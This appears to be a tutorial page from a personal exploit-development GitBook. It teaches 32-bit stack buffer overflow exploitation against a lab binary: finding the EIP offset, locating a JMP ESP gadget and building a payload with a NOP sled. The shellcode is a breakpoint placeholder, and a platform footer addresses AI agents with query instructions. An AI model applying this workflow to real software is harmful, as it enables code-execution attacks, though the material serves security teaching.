> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/finding-jmp-esp-address.md).

# Finding JMP ESP Address

## Finding JMP ESP and Understanding NOP Sled in Stack Buffer Overflow

## Introduction

After controlling EIP in a stack buffer overflow, the next goal is to redirect execution to our shellcode.

Usually our shellcode is stored on the stack.

To execute it, we use a `jmp esp` instruction.

This README explains:

* what `jmp esp` is
* why we search for `FF E4`
* how to find `jmp esp`
* what a NOP sled is
* why we use NOPs

***

## Understanding EIP and ESP

After overflowing the buffer:

```
EIP = overwritten
ESP = points to our payload on stack
```

Example:

```
$eip : 0x42424242 ("BBBB")
$esp : 0xffffcf20
```

This means:

* we control EIP
* ESP points somewhere inside our payload

Now we need execution to jump to ESP.

***

## What is JMP ESP

Assembly instruction:

```asm
jmp esp
```

Meaning:

```
Jump to address stored inside ESP register
```

If ESP points to our shellcode:

```
ESP → shellcode
```

then:

```asm
jmp esp
```

will execute our shellcode.

***

## Why We Search for FF E4

CPU instructions are stored as machine code bytes.

Instruction:

```asm
jmp esp
```

becomes:

```
FF E4
```

So:

| Assembly | Opcode |
| -------- | ------ |
| nop      | 90     |
| ret      | C3     |
| jmp esp  | FF E4  |

Searching for:

```
FF E4
```

means:

```
Find JMP ESP instruction in memory
```

***

## Why We Need JMP ESP

Suppose after overflow:

```
EIP = BBBB
ESP = points to shellcode
```

We replace:

```
BBBB
```

with address of:

```asm
jmp esp
```

Execution becomes:

```
CPU executes JMP ESP
↓
ESP points to shellcode
↓
Shellcode executes
```

***

## Step 1 - Crash the Program

Generate cyclic pattern:

```bash
python3 -c "from pwn import *; print(cyclic(200).decode())"
```

Send it:

```bash
python3 -c "from pwn import *; print(cyclic(200).decode())" | xargs ./prog1
```

Program crashes.

***

## Step 2 - Open in GDB

```bash
gdb ./prog1
```

Run payload:

```gdb
run $(python3 -c 'from pwn import *; print(cyclic(200).decode())')
```

Example crash:

```
$eip : 0x6261616b ("kaab")
```

***

## Step 3 - Find Offset

Use pwntools:

```bash
python3 -c "from pwn import *; print(cyclic_find(0x6261616b))"
```

Example:

```
112
```

Meaning:

```
112 bytes needed to overwrite EIP
```

***

## Step 4 - Verify EIP Control

Payload:

```python
from pwn import *

payload = b"A" * 112
payload += b"BBBB"

print(payload)
```

Run inside GDB.

If:

```
$eip : 0x42424242
```

then EIP control works.

***

## Step 5 - View Memory Maps

After crash:

```gdb
vmmap
```

Example:

```
0xf7d88000 0xf7f12000 r-x /usr/lib32/libc.so.6
```

This means:

```
libc executable memory range
```

***

## Step 6 - Search for JMP ESP

Search for opcode bytes:

```gdb
find /b 0xf7d88000, 0xf7f12000, 0xff, 0xe4
```

Explanation:

```
/b                → search raw bytes
0xff, 0xe4        → JMP ESP opcode
```

Example result:

```
0xf7e9707d
```

Meaning:

```asm
0xf7e9707d → jmp esp
```

***

## Step 7 - Use JMP ESP Address

Example exploit:

```python
from pwn import *

offset = 112

jmp_esp = p32(0xf7e9707d)

payload  = b"A" * offset
payload += jmp_esp
payload += b"\x90" * 32
payload += shellcode

print(payload)
```

***

## Understanding NOP

NOP instruction:

```
\x90
```

NOP means:

```
Do nothing
```

CPU simply moves to next instruction.

***

## What is a NOP Sled

Example:

```python
b"\x90" * 32
```

This creates:

```
NOP NOP NOP NOP NOP ...
```

called a:

```
NOP sled
```

***

## Why We Use NOP Sled

Without NOP sled:

```
JMP must land exactly on shellcode
```

With NOP sled:

```
JMP can land anywhere on NOPs
↓
CPU slides through NOPs
↓
Eventually reaches shellcode
```

This makes exploitation more reliable.

***

## Visual Layout

Final payload:

```
AAAAAAAAAAAAAAAAAAAA
[JMP ESP ADDRESS]
[NOP NOP NOP NOP]
[SHELLCODE]
```

Execution flow:

```
Overflow occurs
↓
EIP overwritten
↓
EIP = JMP ESP
↓
CPU executes JMP ESP
↓
ESP points to NOP sled
↓
CPU slides to shellcode
↓
Shellcode executes
```

***

## Complete Example

```python
from pwn import *

offset = 112

jmp_esp = p32(0xf7e9707d)

shellcode = b"\xCC" * 100

payload  = b"A" * offset
payload += jmp_esp
payload += b"\x90" * 32
payload += shellcode

print(payload)
```

***

## Summary

We learned:

* how EIP overwrite works
* why ESP matters
* what `jmp esp` does
* why `FF E4` is searched
* how to search executable memory
* what NOP instruction is
* why NOP sled improves reliability
* how execution reaches shellcode

This is the classic workflow of 32-bit stack buffer overflow exploitation.

During exploitation, our payload often still exists on the stack.

Example:

```
ESP → NOP NOP NOP SHELLCODE
```

If we execute:

```asm
jmp esp
```

the CPU jumps directly to wherever ESP points.

So execution lands on our shellcode.

***

## Exploit Flow

Payload:

```python
payload =
    b"A"*140 +
    JMP_ESP +
    shellcode
```

Execution:

```
RET
↓
EIP overwritten with JMP ESP address
↓
CPU executes JMP ESP
↓
Execution jumps to stack
↓
Shellcode runs
```

***

## How To Find JMP ESP

We must find an address in memory that contains:

```asm
jmp esp
```

Opcode:

```
FFE4
```

***

## Method 1 — Using GEF

Open binary:

```bash
gdb ./prog1
```

Search for instruction:

```bash
search-pattern \xff\xe4
```

Example result:

```
0x0804901f
```

Now verify:

```bash
x/i 0x0804901f
```

Output:

```
0x0804901f : jmp esp
```

This address can now be used in exploit.

***

## Method 2 — Using ROPgadget

Install:

```bash
sudo apt install ropgadget
```

Search:

```bash
ROPgadget --binary ./prog1 | grep "jmp esp"
```

Example:

```
0x0804901f : jmp esp
```

***

## Method 3 — Using objdump

Disassemble binary:

```bash
objdump -d ./prog1 | grep -i "jmp.*esp"
```

Sometimes this works if instruction already exists directly.

***

## Method 4 — Search Inside libc

Sometimes binary itself does not contain `jmp esp`.

Then search loaded libraries:

```bash
gdb ./prog1
```

Inside GDB:

```bash
vmmap
```

Find executable libc region.

Then:

```bash
search-pattern \xff\xe4
```

Example:

```
0xf7e4a5f2
```

Verify:

```bash
x/i 0xf7e4a5f2
```

***

## Important Requirement

The address must:

* be executable
* not contain bad characters
* stay stable

For learning BOF:

```bash
-no-pie
```

helps keep addresses fixed.

***

## Using Address In Exploit

Suppose:

```
jmp esp = 0x0804901f
```

Then:

```python
from pwn import *

payload =
    b"A"*140 + \
    p32(0x0804901f) + \
    b"\x90"*16 + \
    shellcode
```

***

## Why p32() Is Used

x86 uses little-endian format.

So:

```
0x0804901f
```

becomes in memory:

```
\x1f\x90\x04\x08
```

`p32()` automatically converts correctly.

***

## NOP Sled

```python
b"\x90"*16
```

creates:

```asm
NOP
NOP
NOP
```

This gives safer landing space before shellcode.

***

## Complete Execution Flow

```
Overflow Happens
↓
Return Address Overwritten
↓
RET Executes
↓
EIP = JMP ESP
↓
JMP ESP Executes
↓
ESP Points To Shellcode
↓
Shellcode Runs
```

This is the classic 32-bit stack buffer overflow technique.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/finding-jmp-esp-address.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
